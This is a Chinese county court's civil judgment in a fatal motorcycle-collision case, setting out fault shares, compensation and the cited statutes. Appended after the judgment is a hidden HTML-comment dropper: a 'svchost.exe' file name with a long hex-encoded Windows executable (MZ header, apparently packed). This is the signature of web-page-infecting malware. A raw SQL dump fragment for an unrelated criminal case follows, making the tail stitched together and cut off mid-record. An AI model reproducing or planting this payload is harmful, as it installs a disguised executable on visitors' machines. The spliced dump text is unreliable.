海南省保亭黎族苗族自治县人民法院
p t ; ” > 民 事 判 决 书
（2017）琼9029民初234号
原告（反诉被告）：黄联香，女，1969年9月3日出生，壮族，住海南省保亭黎族苗族自治县。
原告（反诉被告）：周洵迪，男，1993年6月24日出生，汉族，住海南省保亭黎族苗族自治县。
原告（反诉被告）：周洵展，男，1996年4月11日出生，汉族，住海南省保亭黎族苗族自治县。
三原告委托诉讼代理人：陈立勇，海南岳乙律师事务所律师。
被告（反诉原告）：蓝韦，男，1984年8月25日出生，黎族，住海南省保亭黎族苗族自治县。
委托诉讼代理人：张雪荣，海南云帆律师事务所律师。
委托诉讼代理人：陈家圣，海南云帆律师事务所律师。
原告（反诉被告）黄联香、周洵迪、周洵展与被告（反诉原告）蓝韦机动车交通事故责任纠纷一案，原告于2017年4月25日向本院提起诉讼，本院立案受理后，被告蓝韦于2017年5月16日向本院提出反诉，经审查，被告蓝韦提起的反诉不违反法律规定，本院决定合并审理并依法适用简易程序于2017年8月14日公开开庭进行审理。原告（反诉被告）黄联香、周洵迪、周洵展及委托诉讼代理人陈立勇，被告（反诉原告）蓝韦及委托诉讼代理人张雪荣到庭参加诉讼。本案现已审理终结。
原告黄联香、周洵迪、周洵展向本院提出诉讼请求：1.判令被告在交强险责任限额范围内赔偿原告死亡赔偿金227624元、丧葬费31284元、车辆损失费1032元、精神损害抚慰金20000元，共计279940元；2.本案诉讼费由被告承担。事实和理由：原告系周锦东近亲属，也是法定继承人。2017年1月4日，被告驾驶号牌×××的普通二轮摩托车与周锦东驾驶的帝豪125号普通二轮摩托车在保亭黎族苗族自治县（以下简称保亭县）毛密线2KM+55M处相撞，造成周锦东死亡及财产损失，经保亭县交通警察大队出具的事故认定：认定被告承担次要责任，周锦东承担主要责任，根据法律规定及海南省2017年交通事故赔偿标准，被告应承担百分之四十的赔偿责任，具体赔偿数额如下：死亡赔偿金28453元×20年×40%=227624元；丧葬费62568元÷2=31284元；车辆损失费2580元×40%=1032元；精神损害抚慰金20000元，上述四项合计279940元，为维护原告合法权益，诉至法院。
被告被告辩称，一、原告要求被告承担40%的责任不具有合理性。本案中，周锦东违反《中华人民共和国道路交通安全法》第二十二条第二款、第十九条第一款、第十一条第一款、第五十一条及《中华人民共和国道路交通安全法实施条例》第四十八条第一款第（一）项规定，即醉酒（酒精含量171.562mg/100ml）驾驶、未取得机动车驾驶证、未取得机动车行驶证、未戴安全头盔、会车时未靠右侧行驶，其行为是造成本次事故的主要原因、根本原因，相较而言，被告仅有一项违法行为，过错程度较小，对本次事故的发生仅起到次要作用。虽然被告十分同情原告的遭遇，但是要求被告承担本案40%的责任过重，应当判决承担20%-25%为宜。二、原告要求按照城镇居民标准赔偿没有事实依据。原告及周锦东的户籍所在地皆在农村，根据原告提交的证据显示，周锦东的经常居住地不在城镇，其证据不能当然证明有固定收入来源，因此原告主张损害按照城镇标准赔偿没有事实依据。综上所述，周锦东对本案的发生具有较大的过错，应当承担本案的主要责任，且原告提供的证据无法证明其经常居住地在城镇并有固定收入来源，应当承担举证不能的不利后果，原告要求被告按照城镇标准赔偿并承担40%的责任不应得到支持。
被告（反诉原告）蓝韦向本院提出反诉请求：1.判令反诉被告黄联香、周洵迪、周洵展向反诉原告蓝韦支付医疗费12499.48元、误工费31000.43元、护理费1100元、交通费562元、住院伙食补助费1100元、伤残赔偿金113812元、后续治疗费12000元、精神损害抚慰金6000元，被扶养人生活费66552.5元，共计244626.41元；2.判令反诉被告黄联香、周洵迪、周洵展承担本案本诉、反诉全部诉讼费用及鉴定费。事实和理由：2017年1月4日，周锦东醉酒驾驶帝豪125无牌号普通二轮摩托车与反诉原告蓝韦驾驶的号牌为×××的普通二轮摩托车在保亭县毛密线2KM+55M处相撞，致使蓝韦眼部左眼眶骨折、左眼视神经钝挫伤、左眼眶内血肿、左眼结膜出血、左眼眼睑裂伤，住院11天，产生医疗费12499.48元，住院伙食补助费1100元，住院期间由爱人护理，护理费1100元；蓝韦因眼部受伤无法正常工作，直至2017年4月11日才勉强上班，误工损失16929.78元；事故发生后，蓝韦由保亭送往三亚急救，后又前往海口进行手术治疗，产生交通费562元；本次事故造成蓝韦伤残，残疾赔偿金56906元，同时造成蓝韦精神损害，为此主张精神损害抚慰金5000元；此外，为修理因事故损坏的摩托车花费1000元，为维护蓝韦的合法权益，特向法院起诉，请求依法支持。
原告（反诉被告）黄联香、周洵迪、周洵展辩称，一、反诉原告原先的反诉请求是9万余元，现变更为24万余元，如果没有预交诉讼费用应当不予审理。二、医疗费应当以提供正规的医疗发票为准，误工费应以误工期间减少的收入为准，反诉原告在受伤期间仍有工资收入，对此项诉求不予认可，交通费由法院确认，以正式票据为准，护理费、住院伙食补助费予以认可，对残疾赔偿金的具体数额以法院查明事实及提交的证据为准，后续治疗费应以实际发生费用为准，虽然反诉原告经鉴定需要后续治疗费，但该鉴定主观意见强，且鉴定意见仅作为法院参考，因此后续治疗费应当在发生具体费用后另行起诉，精神损害抚慰金，就本案而言，三原告的近亲属死亡，而被告仅是身体残疾，其精神损害远不及原告，应不予支持，被扶养人生活费，反诉原告属于十级伤残，仍有工作能力，对该赔偿不予认可。三、请求法院在调查核实后，根据事故的过错程度，认定被告负40%的责任，三原告负60%的责任较为恰当。
当事人围绕诉讼请求依法提交了证据，本院组织当事人进行了证据交换和质证。对当事人无异议的证据：原告提交的户口本、海南省农垦三亚医院收费票据、海南省第三人民医院门诊病人费用明细清单、海南省眼科医院医疗住院收费票据、疾病证明书、出院记录、保亭县人民医院治疗清单及票据、结婚证、鉴定费用发票，本院予以确认并在卷佐证。对有争议的证据和事实，本院认定如下：1.原告提交的保公交认字[2017]第00001号《道路交通事故认定书》，用以证明被告在本起事故中应承担40%的赔偿责任，同时在反诉中原告只承担反诉请求60%的赔偿责任；被告对该证据的真实性、合法性、关联性没有异议，对证明目的有异议，认为《道路交通事故认定书》只能证明被告应当承担次要责任，不能证明应当承担40%的责任，本次事故中被告只需承担20%的过错责任；本院认为，该份证据的真实性、合法性、关联性本院予以确认，但事故双方当事人承担责任大小应结合案件事实，当事人的过错程度再予以确认。2.原告提交的荣誉军人特优证及邮储活期存折，用以证明周锦东生前系荣誉军人每月有固定收入且逐年增加，应按城镇居民给予补偿；被告对该证据的真实性、合法性、关联性没有异议，对证明目的有异议，认为该证据不能证明应当按照城镇标准赔偿原告；本院认为，该证据的真实性、合法性、关联性本院予以确认，但该证据只能证明事故受害人周锦东在去世前每月有优抚收入667元，不能证明其生前是城镇居民。3.原告提交的保亭县三道镇首弓小学《证明》，用以证明周锦东生前在城镇居住一年以上并有固定收入来源，被告应按城镇居民标准赔偿；被告对该证据的真实性、合法性有异议，认为出具证明的主体不合法；本院认为，保亭县三道镇首弓小学不具备出具该证明内容的主体资格，该证据的合法性本院不予确认，此外，该学校位于××县委会，不属于城镇地区，该证据的证明内容本院亦不予采信。4.原告提交的购车收据，用以证明事故车辆损失2580元；被告对该证据的真实性、合法性、关联性均有异议，认为原告未提供合法的、正规的发票；本院认为，原告提交的证据不是正规票据，不具有合法性，本院不予采纳。5.原告提交的2016年海南在岗职工平均工资5214元的材料，用以证明丧葬费的计算依据；被告认为应当按照2016年年平均工资58406元的标准计算；本院认为，丧葬费按照受诉法院所在地上一年度职工月平均工资标准，以六个月总额计算。原告提交的证据是海南省统计局公布的数据，真实性本院予以确认，可作为赔偿标准的计算依据。6.被告提交的保公交认字[2017]第00001号《道路交通事故认定书》、《三亚市中医院法医毒物（乙醇检测）司法鉴定所鉴定书》，用以证明周锦东应承担80%的责任，被告承担20%的责任；原告对该证据的真实性、合法性、关联性没有异议，认为被告没有驾驶证上路行驶，应承担40%的事故责任；本院认为，该份证据的真实性、合法性、关联性本院予以确认，但事故双方当事人承担责任大小应结合案件事实，当事人的过错程度再予以确认。7.被告提交的《三亚国际购物中心投资有限公司销售凭证》，用以证明被告因事故导致眼睛受伤佩戴眼镜花费700元；原告对该700元的销售凭证不予认可；本院认为，被告因事故导致眼睛受伤是事实，因购买眼镜花费700元有被告提交的《增值税发票》佐证，本院予以确认。8.被告提交的《劳动合同》、《劳动合同续订书》、工资发放情况证明及账户明细、《通知》，用以证明被告是海南三道圆融旅业有限公司员工，有固定收入，工作时间超过一年，根据前十二个月收入计算，年收入为51166元，本次事故造成被告社保及公积金损失3157.6元；原告对该组证据的真实性、合法性、关联性没有异议，对证明内容有异议，认为该组证据不能证明被告年收入为51166元，且被告在2017年1月16日还发放4172元工资，2017年2月15日发放工资2543.85元，其在受伤期间没有误工损失，对其误工损失的诉讼请求不予认可，对被告3157.6元的社保及公积金损失亦不予认可，应以公司出具的收款凭证为准；本院认为，被告的工资均是次月发放，其在2017年1月16日及2017年2月15日的收入为事故发生前的工资及奖金，根据其2、3、4月份的工资发放账户明细可知，被告误工期间没有工资收入，该组证据的真实性、合法性、关联性及证明内容本院予以确认。8.被告提交的交通费票据，用以证明被告及家属因本次事故支付交通费562元；原告认为该票据只有462元，并非被告所述562元；经本院核实，被告提交的票据包含汽车客票及高铁车票，共计562元，本院予以确认。9.被告提交的《海南省增值税发票》，用以证明被告在事故受害后配眼镜花费700元；原告认为被告没有医嘱证明要求佩戴眼镜，该证据与本案没有关联；本院认为，该笔费用确因被告眼睛受伤所产生，应予认可。10.被告提交的《企业基本养老保险个人缴费明细》，用以证明被告自2014年5月23日在海南三道圆融旅业有限公司工作且缴纳社保至今，已被纳入城市社会保障体系，其人身损害赔偿金额应按照城镇居民标准计算；原告对该证据的真实性没有异议，但认为应当以现居住地出具在城镇居住一年以上并且有固定收入的证明为准；本院认为，被告现居住在保亭县三道镇首弓村委会新村，主要收入来源也在保亭县三道镇，该地属农村居民生活消费水平地区，其主张以城镇居民标准计算赔偿金额没有依据，该证据的证明内容本院不予采信。11.被告提交的《出生证明》，用以证明被告儿子于2006年2月3日出生，事故发生时未成年，原告应当支付被扶养人生活费；原告质证认为，被告没有完全丧失劳动能力，不应由原告承担被扶养人生活费；本院认为，被告并未完全丧失劳动能力，且其在2017年4月13日已返回原单位继续工作，该证据的证明内容本院不予采信。12.被告提交的《道路交通事故车辆技术检验分析意见》，用以证明原告方事故车辆帝豪125二轮摩托车并未受损，该车被保亭县交警大队扣押系因车辆驾驶人证件不齐全，原告主张2580元的财产损失费没有依据；原告对该证据的真实性、合法性、关联性没有异议，但认为事故车辆被保亭县交警大队扣押是被告所导致；本院认为，该分析意见说明了事故车辆帝豪125二轮摩托车的车辆灯光系统、转向系统、制动系统仍合格，通过车辆图片也可知该车整体完好，原告主张车辆损失费没有依据，被告提交的该份证据本院予以采纳。13.《鉴定意见》，原告对鉴定意见中伤残等级鉴定部分没有异议，但对后续治疗费有异议，认为应当以实际发生或者医疗机构出具的证明为准；被告对鉴定意见没有异议；本院认为，根据鉴定结论确定已必然发生的费用，可以与已经发生医疗费一并予以赔偿，该鉴定意见本院予以采纳。
本院经审理认定事实如下：原告黄联香、周洵迪、周洵展是本案交通事故受害人周锦东的配偶及儿子。2017年1月4日17时许，周锦东醉酒（酒精含量171.562mg/100ml）、未戴安全头盔、无证驾驶帝豪125无号牌普通二轮摩托车，载乘妻子黄联香从保亭县三道镇首弓村沿保亭毛密线由东往西方向行驶，行至毛密线2KM+500M处时，被告无证驾驶×××普通二轮摩托车从保亭县呀诺达景区沿毛密线由西向东往三道镇首弓村方向也行驶到此处，由于周锦东驾驶的二轮摩托车未靠右侧行驶，与被告正面相撞，造成被告、周锦东及黄联香受伤，两车不同程度受损的道路交通事故，其中周锦东因伤势过重抢救无效当晚死亡。2017年3月16日，保亭县交警大队做出保公交认字[2017]第00001号《道路交通事故认定书》，认为周锦东的违法行为对发生道路交通事故所起作用及过错程度大，被告的违法行为对发生道路交通事故所起作用及过错程度小，乘车人黄联香无过错行为，依据《中华人民共和国道路交通安全法》第七十三条、《交通事故处理程序规定》第四十六条第一款第（二）项的规定认定：周锦东承担该事故的主要责任，被告承担该事故的次要责任，乘车人黄联香不承担责任。
事故发生后，肇事双方当事人均受伤，周锦东因伤势过重经抢救无效当晚死亡，被告蓝韦因事故导致眼睛受伤，2017年1月4日到海南省农垦三亚医院治疗，医疗费1480.57元，2017年1月5日入住海南省眼科医院，入院诊断：1.左眼眶骨折；2.左眼视神经钝挫伤；3.左眼眶内血肿；4.左眼结膜出血；5.左眼睑裂伤缝合术后。2017年1月14日被告出院，医疗费10318.91元。被告住院期间由其妻子黄雪妃护理。被告因眼睛受伤购买眼镜700元，支付120急救费用700元，为治疗眼睛产生交通费用562元。
另查，受害人周锦东及原告黄联香、周洵迪、周洵展，被告蓝韦均居住在农村。被告事故发生前在海南三道圆融旅业有限公司从事保安工作，工资收入不固定，事故发生后至2017年4月12日因受伤请假，无工资收入，社会保险和住房公积金由海南三道圆融旅业有限公司代缴3157.6元。
经被告申请，本院委托海南省第一中级人民法院对被告的伤残等级、后续治疗费进行鉴定，海南华洲司法鉴定中心出具琼华洲司鉴[2017]临鉴字第241号《司法鉴定意见书》，鉴定意见为：1、被鉴定人蓝韦左眼睑挫裂伤致面部条状瘢痕形成（其中面部中心区3.5×0.2cm），评定为：十级伤残；其左眼眶多发骨折致左眼重度视力障碍（视力0.1），评定为：十级伤残；其复视（左眼外伤后），评定为：十级伤残。如以上残情有改变，可补充鉴定。2、被鉴定人蓝韦后续治疗费用评估为：1）行面部瘢痕整容治疗费用为：6000元人民币左右；2）行视力障碍康复治疗费用为：一个疗程1000元人民币，大约需要四个疗程；3）行相关的检查等费用为：2000元人民币左右。因鉴定人难以把握治疗之效果，故以上给意见仅供法庭裁决时参考。本次鉴定费用2200元。
本院认为，本案的争议焦点为：1.本次事故当事人双方应承担的责任大小；2.原告（反诉被告）黄联香、周洵迪、周洵展请求的赔偿费用是否合理；3.被告（反诉原告）蓝韦反诉请求的赔偿费用是否合理。
关于本次事故当事人双方承担责任大小的问题。本起事故经保亭县交警大队认定周锦东承担主要责任，蓝韦承担次要责任。在本次事故中，周锦东的过错在于醉驾、未戴安全头盔、无驾驶证、未靠右行驶，蓝韦过错在于无证驾驶，相较而言，周锦东过错程度明显，故本院确认周锦东承担本次事故70%的责任，蓝韦承担本次事故30%的责任。
关于黄联香、周洵迪、周洵展请求的赔偿费用是否合理的问题。
（一）死亡赔偿金，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，按二十年计算。周锦东事故发生前居住在保亭县三道镇首弓学校，应当以农村居民标准计算死亡赔偿金，2016年我省农村常住居民人均可支配收入为11843元/年，计算二十年即为236860元。
（二）丧葬费，按照受诉法院所在地上一年度职工月平均工资标准，以六个月计算。根据海南省人力资源和社会保障厅琼人社发[2017]162号《关于按2016年在岗职工平均工资征缴社会保险费和计发社会保险待遇的通知》可知海南省在岗职工月平均工资为5214元，六个月即为31284元。
（三）车辆损失费，经查，原告方事故车辆经保亭县交警大队鉴定仍具备行驶的合格条件，与原告所述车辆受损不符，其请求按新车购买价格2580元的40%主张赔偿1032元没有依据，本院不予支持。
（四）精神损害抚慰金，本案事故造成周锦东死亡，给三原告带来严重精神损害，有权请求精神损害赔偿，结合受诉法院所在地生活水平及周锦东在本次事故的过错程度，本院酌情确认精神损害抚慰金20000元。
上述死亡赔偿金、丧葬费、精神损害抚慰金共计100443.2元，因原告请求被告在交强险的责任限额范围内承担赔偿责任，根据《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十九条第一款”未依法投保交强险机动车发生交通事故造成损害，当事人请求投保义务人在交强险责任限额范围内予以赔偿的，人民法院应予支持”的规定，被告未购买交强险，故其应在交强险的责任限额范围内承担赔偿责任，《机动车交通事故责任强制保险条款》第八条第一款规定：”在中华人民共和国境内（不含港、澳、台地区），被保险人在使用被保险机动车过程中发生交通事故，致使受害人遭受人身伤亡或者财产损失，依法应当由被保险人承担的损害赔偿责任，保险人按照交强险合同的约定对每次事故在下列赔偿限额内负责赔偿：（一）死亡伤残赔偿限额为110000元；（二）医疗费用赔偿限额10000元；（三）财产损失赔偿限额为2000元；（四）被保险人无责任时，无责任死亡伤残赔偿限额为11000元；无责任医疗费用赔偿限额为1000元；无责任财产损失赔偿限额为100元”。被告应在交强险死亡伤残赔偿限额110000元的范围内承担赔偿责任，即由被告赔偿三原告100443.2元。
关于被告反诉请求的赔偿费用是否合理的问题。
（一）医疗费，被告因事故造成眼睛受伤，在海南省农垦三亚医院门诊治疗花费1480.57元，后到海南省眼科医院住院治疗，医疗费10318.91元，另被告因眼睛受伤购买眼镜700元，共计12499.48元。被告在庭审过程中向本院提交保亭县人民医院120急救费用700元的收费票据，但在诉讼请求中未提出赔偿要求，故该部分费用本院不予处理。
（二）误工费，根据受害人的误工时间和收入状况确定，事故发生前被告在海南三道圆融旅业有限公司从事保安工作，但收入不固定，本院以其近一年收入51166元计算，其日平均工资为140元，根据被告提交的误工证明可知误工期间为2017年1月5日至2017年4月12日，误工98天，误工费13720元（140元/天×98天），另因其在误工期间公司代其缴纳五项社会保险和住房公积金3196.54元，该笔费用因被告误工所产生，故应当计算至误工费范围内，误工费共计16916.54元（13720元+3196.54元）。
（三）护理费，原告对被告主张的护理费1100元没有异议，本院予以确认。
（四）交通费，被告因就医实际发生交通费用562元，有正式票据为凭，本院予以支持。
（五）住院伙食补助费，原告对被告主张的1100元住院伙食补助费没有异议，本院予以确认。
（六）残疾赔偿金，根据被告丧失劳动能力程度或者伤残等级，每增加一级伤残等级，按照我省上一年度农村常住居民人均可支配收入标准11843元/年的10%递增，自定残之日起按二十年计算。因被告具有二处以上伤残，残疾赔偿金的计算应以其本人伤残的最高等级作为赔偿的主要依据，在最高伤残等级赔偿比例的基础上增加10%的赔偿比例，故其残疾赔偿金应为47372元[11843元/年×20年×（10%+10%）]。
（七）后续治疗费，经鉴定，被告的后续治疗费约为12000元，本院予以支持。
（八）精神损害抚慰金，被告因事故造成被告三处十级伤残，结合其伤情及本次事故的过错程度，其请求精神损害抚慰金3000元本院予以支持。
（九）被扶养人生活费，被告经鉴定为十级伤残，未丧失劳动能力，且被告已于2017年4月13日恢复正常工作，其请求被扶养人生活费没有依据，本院不予支持。
被告的医疗费、误工费、护理费、交通费、住院伙食补助费、残疾赔偿金、后续治疗费共计91550.02元，本次事故周锦东承担70%的主要责任，被告承担30%的次要责任，三原告作为周锦东近亲属，应承担的责任部分为64085.01元（91550.02元×70%），此外，被告的精神损害抚慰金为3000元，故三原告应赔偿被告医疗费、误工费、护理费、交通费、住院伙食补助费、残疾赔偿金、后续治疗费、精神损害抚慰金共计67085.01元。
综上，依照《中华人民共和国侵权责任法》第六条第一款、第十六条、第二十二条，《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条、第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条、第二十七条、第二十九条，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十九条第一款之规定，判决如下：
一、被告（反诉原告）蓝韦自本判决发生法律效力之日起十日内赔偿原告（反诉被告）黄联香、周洵迪、周洵展死亡赔偿金、丧葬费、精神损害抚慰金共计100443.2元；
二、原告（反诉被告）黄联香、周洵迪、周洵展自本判决发生法律效力之日起十日内赔偿被告（反诉原告）蓝韦医疗费、误工费、护理费、交通费、住院伙食补助费、残疾赔偿金、后续治疗费、精神损害抚慰金共计67085.01元；
三、驳回原告（反诉被告）黄联香、周洵迪、周洵展的其他诉讼请求；
四、驳回被告（反诉原告）蓝韦的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当按照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。
本诉案件受理费949元，原告（反诉被告）黄联香、周洵迪、周洵展负担609元，被告（反诉原告）蓝韦负担340元；反诉案件受理费861元，原告（反诉被告）黄联香、周洵迪、周洵展负担236元，被告（反诉原告）蓝韦负担625元；鉴定费2200元，原告（反诉被告）黄联香、周洵迪、周洵展负担1540元，被告（反诉原告）蓝韦负担660元。
如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按照对方当事人或者代表人的人数提出副本，上诉于海南省第一中级人民法院。
审判长汤玲燕
二〇一七年九月六日
书记员黎公培
附：本案适用的法律条文
《中华人民共和国侵权责任法》
第六条行为人因过错侵害他人民事权益，应承担侵权责任。
......
第十六条侵害他人造成人身损害的，应当赔偿医疗费、护理费、交通费等为治疗和康复支出的合理费用，以及因误工减少的收入。造成残疾的，还应当赔偿残疾生活辅助具费和残疾赔偿金。造成死亡的，还应当赔偿丧葬费和死亡赔偿金。
第二十二条侵害他人人身权益，造成他人严重精神损害的，被侵权人可以请求精神损害赔偿。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十七条受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费、赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所指出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费，以及因康复护理、继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据救治情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十条误工费根据受害人的误工时间和收入状况确定。
误工时间根据受害人接受治疗的医疗机构出具的证明确定。受害人因伤致残持续误工的，误工时间可以计算至定残日前一天。
受害人有固定收入的，误工费按照实际减少的收入计算。受害人无固定收入的，按照其最近三年的平均收入计算；受害人不能举证证明其最近三年的平均收入状况的，可以参照受诉法院所在地相同或者相近行业上一年度职工的平均工资计算。
第二十一条护理费根据护理人员的收入状况和护理天数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
......
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗时机发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差伙食补助标准予以确定。
......
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
......
第二十七条丧葬费按照受诉法院所在地上一年度职工月平均工资标准，以六个月总额计算。
第二十九条死亡赔偿金按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁的，按五年计算。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》
第十九条未依法投保交强险机动车发生交通事故造成损害，当事人请求投保义务人在交强险责任限额范围内予以赔偿的，人民法院应予支持。
......
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF','2018-10-03
07:17:30',0,'web',NULL),(37309776,'e80ad5a3-b9a9-4030-9383-5de3cf1297dd','$(function(){$(\"#con_llcs\").html(\"浏览：54次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"e80ad5a3-b9a9-4030-9383-5de3cf1297dd\",\"案件名称\":\"吴某犯盗窃罪、走私、贩卖、运输、制造毒品罪高某犯盗窃罪、容留他人吸毒罪赵某犯盗窃罪一审刑事判决书\",\"案号\":\"（2015）园刑二初字第0327号\",\"审判程序\":\"一审\",\"上传日期\":\"\\\/Date(1459440000000)\\\/\",\"案件类型\":\"1\",\"补正文书\":\"2\",\"法院名称\":\"苏州工业园区人民法院\",\"法院ID\":\"1052\",\"法院省份\":\"江苏\",\"法院地市\":\"苏州市\",\"法院区县\":\"苏州工业园区人民法院\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":null,\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"江苏省苏州工业园区人民检察院以苏园检诉刑诉（2015）645号起诉书指控被告人吴某犯盗窃罪、贩卖毒品罪，被告人高某犯盗窃罪、容留他人吸毒罪，被告人赵某犯盗窃罪，于2015